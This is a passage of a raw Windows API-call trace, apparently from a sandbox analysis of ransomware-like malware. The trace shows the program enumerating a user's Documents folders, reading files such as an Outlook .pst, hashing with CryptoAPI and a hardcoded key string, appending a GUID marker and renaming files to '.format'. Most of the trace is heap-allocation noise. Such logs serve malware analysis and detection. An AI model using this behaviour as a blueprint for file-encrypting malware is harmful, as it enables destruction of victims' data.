0x32476f0 [0067.435] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.435] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3175490 | out: hHeap=0x5d0000) returned 1 [0067.435] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x70) returned 0x3175490 [0067.435] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0067.435] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.435] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3175490 | out: hHeap=0x5d0000) returned 1 [0067.435] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x70) returned 0x3175490 [0067.435] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0067.435] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.435] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3175490 | out: hHeap=0x5d0000) returned 1 [0067.435] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x70) returned 0x3175490 [0067.435] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0067.435] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.435] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3175490 | out: hHeap=0x5d0000) returned 1 [0067.435] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x70) returned 0x3175490 [0067.435] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0067.435] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.435] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3175490 | out: hHeap=0x5d0000) returned 1 [0067.435] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x70) returned 0x3175490 [0067.435] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0067.436] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.436] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3175490 | out: hHeap=0x5d0000) returned 1 [0067.436] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x70) returned 0x3175490 [0067.436] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0067.436] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.436] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\") returned="My Shapes\\" [0067.436] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325eb88 [0067.436] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327cf30 [0067.436] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\") returned="Documents\\" [0067.436] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x40) returned 0x3286da0 [0067.436] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0067.436] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x30) returned 0x31830e8 [0067.436] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0067.436] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0067.436] PathFindFileNameW (pszPath="") returned="" [0067.436] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x70) returned 0x3175490 [0067.436] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\*", lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x9e9e4460, ftCreationTime.dwHighDateTime=0x1d305ee, ftLastAccessTime.dwLowDateTime=0x9ebad4e0, ftLastAccessTime.dwHighDateTime=0x1d305ee, ftLastWriteTime.dwLowDateTime=0x9ebad4e0, ftLastWriteTime.dwHighDateTime=0x1d305ee, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x31bee60 [0067.436] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x9e9e4460, ftCreationTime.dwHighDateTime=0x1d305ee, ftLastAccessTime.dwLowDateTime=0x9ebad4e0, ftLastAccessTime.dwHighDateTime=0x1d305ee, ftLastWriteTime.dwLowDateTime=0x9ebad4e0, ftLastWriteTime.dwHighDateTime=0x1d305ee, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0067.436] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x2, ftCreationTime.dwLowDateTime=0x9ebad4e0, ftCreationTime.dwHighDateTime=0x1d305ee, ftLastAccessTime.dwLowDateTime=0x9ebad4e0, ftLastAccessTime.dwHighDateTime=0x1d305ee, ftLastWriteTime.dwLowDateTime=0x9ebf97a0, ftLastWriteTime.dwHighDateTime=0x1d305ee, nFileSizeHigh=0x0, nFileSizeLow=0xd8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0067.436] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x70) returned 0x3175490 [0067.436] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa6) returned 0x315db10 [0067.436] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\desktop.ini") returned=".ini" [0067.436] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9e9e4460, ftCreationTime.dwHighDateTime=0x1d305ee, ftLastAccessTime.dwLowDateTime=0x9e9e4460, ftLastAccessTime.dwHighDateTime=0x1d305ee, ftLastWriteTime.dwLowDateTime=0x9e9e4460, ftLastWriteTime.dwHighDateTime=0x1d305ee, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Favorites.vss", cAlternateFileName="FAVORI~1.VSS")) returned 1 [0067.436] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x70) returned 0x3175490 [0067.436] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa6) returned 0x315db10 [0067.437] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\Favorites.vss") returned=".vss" [0067.437] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\Favorites.vss" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\my shapes\\favorites.vss"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c8 [0067.437] GetFileSizeEx (in: hFile=0x5c8, lpFileSize=0x38cfb4c | out: lpFileSize=0x38cfb4c*=0) returned 1 [0067.437] CloseHandle (hObject=0x5c8) returned 1 [0067.438] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6ac128 [0067.438] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\Favorites.vss" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\my shapes\\favorites.vss"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\Favorites.vss.format" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\my shapes\\favorites.vss.format")) returned 1 [0067.438] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0x9ebad4e0, ftCreationTime.dwHighDateTime=0x1d305ee, ftLastAccessTime.dwLowDateTime=0x9ebad4e0, ftLastAccessTime.dwHighDateTime=0x1d305ee, ftLastWriteTime.dwLowDateTime=0x9ebad4e0, ftLastWriteTime.dwHighDateTime=0x1d305ee, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_private", cAlternateFileName="")) returned 1 [0067.438] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0x9ebad4e0, ftCreationTime.dwHighDateTime=0x1d305ee, ftLastAccessTime.dwLowDateTime=0x9ebad4e0, ftLastAccessTime.dwHighDateTime=0x1d305ee, ftLastWriteTime.dwLowDateTime=0x9ebad4e0, ftLastWriteTime.dwHighDateTime=0x1d305ee, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_private", cAlternateFileName="")) returned 0 [0067.438] FindClose (in: hFindFile=0x31bee60 | out: hFindFile=0x31bee60) returned 1 [0067.438] PeekMessageW (in: lpMsg=0x38cff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38cff08) returned 0 [0067.438] PeekMessageW (in: lpMsg=0x38cfb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38cfb74) returned 0 [0067.438] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Videos\\") returned="My Videos\\" [0067.438] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\") returned="Documents\\" [0067.438] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0067.438] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0067.439] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0067.439] PathFindFileNameW (pszPath="") returned="" [0067.439] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Videos\\*", lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0x9ebad4e0, ftCreationTime.dwHighDateTime=0x1d305ee, ftLastAccessTime.dwLowDateTime=0x9ebad4e0, ftLastAccessTime.dwHighDateTime=0x1d305ee, ftLastWriteTime.dwLowDateTime=0x9ebad4e0, ftLastWriteTime.dwHighDateTime=0x1d305ee, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_private", cAlternateFileName="")) returned 0xffffffff [0067.439] PeekMessageW (in: lpMsg=0x38cff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38cff08) returned 0 [0067.439] PeekMessageW (in: lpMsg=0x38cfb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38cfb74) returned 0 [0067.439] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Outlook Files\\") returned="Outlook Files\\" [0067.439] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\") returned="Documents\\" [0067.439] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0067.439] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0067.439] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0067.439] PathFindFileNameW (pszPath="") returned="" [0067.439] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Outlook Files\\*", lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a7a9f80, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x5c4f8e60, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x5c4f8e60, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x31bee60 [0067.439] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a7a9f80, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x5c4f8e60, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x5c4f8e60, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0067.439] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x5a868660, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x5a868660, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x6228cf40, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x42400, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="voeimd@djhreuu.uhd.pst", cAlternateFileName="VOEIMD~1.PST")) returned 1 [0067.439] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Outlook Files\\voeimd@djhreuu.uhd.pst") returned=".pst" [0067.439] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Outlook Files\\voeimd@djhreuu.uhd.pst" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\outlook files\\voeimd@djhreuu.uhd.pst"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c8 [0067.440] GetFileSizeEx (in: hFile=0x5c8, lpFileSize=0x38cfb4c | out: lpFileSize=0x38cfb4c*=271360) returned 1 [0067.440] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2990000 [0067.442] SetFilePointerEx (in: hFile=0x5c8, liDistanceToMove=0x423da, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0067.442] ReadFile (in: hFile=0x5c8, lpBuffer=0x2990000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x38cfb7c, lpOverlapped=0x0 | out: lpBuffer=0x2990000*, lpNumberOfBytesRead=0x38cfb7c*=0x26, lpOverlapped=0x0) returned 1 [0067.443] SetFilePointer (in: hFile=0x5c8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0067.443] ReadFile (in: hFile=0x5c8, lpBuffer=0x2990000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x38cfb78, lpOverlapped=0x0 | out: lpBuffer=0x2990000*, lpNumberOfBytesRead=0x38cfb78*=0x25805, lpOverlapped=0x0) returned 1 [0067.445] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0067.445] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0067.445] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0067.445] CryptAcquireContextW (in: phProv=0x38cfa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x38cfa94*=0x6ac128) returned 1 [0067.446] CryptCreateHash (in: hProv=0x6ac128, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x38cfa9c | out: phHash=0x38cfa9c) returned 1 [0067.446] CryptHashData (hHash=0x31befa0, pbData=0x3298740, dwDataLen=0x25, dwFlags=0x0) returned 1 [0067.446] CryptGetHashParam (in: hHash=0x31befa0, dwParam=0x2, pbData=0x0, pdwDataLen=0x38cfa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x38cfa98) returned 1 [0067.446] CryptGetHashParam (in: hHash=0x31befa0, dwParam=0x2, pbData=0x31596d0, pdwDataLen=0x38cfa98, dwFlags=0x0 | out: pbData=0x31596d0, pdwDataLen=0x38cfa98) returned 1 [0067.446] GetLastError () returned 0x0 [0067.446] CryptDestroyHash (hHash=0x31befa0) returned 1 [0067.446] CryptReleaseContext (hProv=0x6ac128, dwFlags=0x0) returned 1 [0067.448] SetFilePointerEx (in: hFile=0x5c8, liDistanceToMove=0x42400, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0067.527] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0067.528] WriteFile (in: hFile=0x5c8, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x38cfb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x38cfb2c*=0x26, lpOverlapped=0x0) returned 1 [0067.528] CloseHandle (hObject=0x5c8) returned 1 [0067.530] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31edca8 [0067.530] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x8b0) returned 0x3178dd8 [0067.530] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31edca8 | out: hHeap=0x5d0000) returned 1 [0067.530] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Outlook Files\\voeimd@djhreuu.uhd.pst" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\outlook files\\voeimd@djhreuu.uhd.pst"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Outlook Files\\voeimd@djhreuu.uhd.pst.format" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\outlook files\\voeimd@djhreuu.uhd.pst.format")) returned 1 [0067.531] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0067.531] VirtualFree (lpAddress=0x2990000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0067.532] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x315db10 | out: hHeap=0x5d0000) returned 1 [0067.532] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x5a868660, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x5a868660, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x6228cf40, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x42400, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="voeimd@djhreuu.uhd.pst", cAlternateFileName="VOEIMD~1.PST")) returned 0 [0067.532] FindClose (in: hFindFile=0x31bee60 | out: hFindFile=0x31bee60) returned 1 [0067.532] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31830e8 | out: hHeap=0x5d0000) returned 1 [0067.532] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3175760 | out: hHeap=0x5d0000) returned 1 [0067.532] PeekMessageW (in: lpMsg=0x38cff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38cff08) returned 0 [0067.532] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327cf30 [0067.532] PeekMessageW (in: lpMsg=0x38cfb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38cfb74) returned 0 [0067.532] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327cf98 [0067.532] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0067.532] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.532] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327cf98 | out: hHeap=0x5d0000) returned 1 [0067.532] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327cf98 [0067.532] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0067.532] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.532] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327cf98 | out: hHeap=0x5d0000) returned 1 [0067.532] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327cf98 [0067.532] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0067.532] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.532] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327cf98 | out: hHeap=0x5d0000) returned 1 [0067.532] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327cf98 [0067.532] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0067.532] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.532] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327cf98 | out: hHeap=0x5d0000) returned 1 [0067.532] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327cf98 [0067.532] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0067.532] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.532] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327cf98 | out: hHeap=0x5d0000) returned 1 [0067.532] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327cf98 [0067.533] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0067.533] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.533] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327cf98 | out: hHeap=0x5d0000) returned 1 [0067.533] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327cf98 [0067.533] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0067.533] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc2e) returned 0x3177118 [0067.533] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.533] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0067.533] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327cf98 | out: hHeap=0x5d0000) returned 1 [0067.533] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327cf98 [0067.533] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0067.533] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.533] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327cf98 | out: hHeap=0x5d0000) returned 1 [0067.533] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327cf98 [0067.533] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0067.533] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.533] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327cf98 | out: hHeap=0x5d0000) returned 1 [0067.533] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327cf98 [0067.533] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0067.533] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0067.533] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327cf98 | out: hHeap=0x5d0000) returned 1 [0067.533] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327cf98 [0067.533] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0067.533] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0067.533] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327cf98 | out: hHeap=0x5d0000) returned 1 [0067.533] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327cf98 [0067.533] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0067.533] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.533] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327cf98 | out: hHeap=0x5d0000) returned 1 [0067.533] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327cf98 [0067.533] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0067.534] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.534] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327cf98 | out: hHeap=0x5d0000) returned 1 [0067.534] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327cf98 [0067.534] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0067.534] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.534] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327cf98 | out: hHeap=0x5d0000) returned 1 [0067.534] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327cf98 [0067.534] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0067.534] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.534] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327cf98 | out: hHeap=0x5d0000) returned 1 [0067.534] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327cf98 [0067.534] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0067.534] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.534] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327cf98 | out: 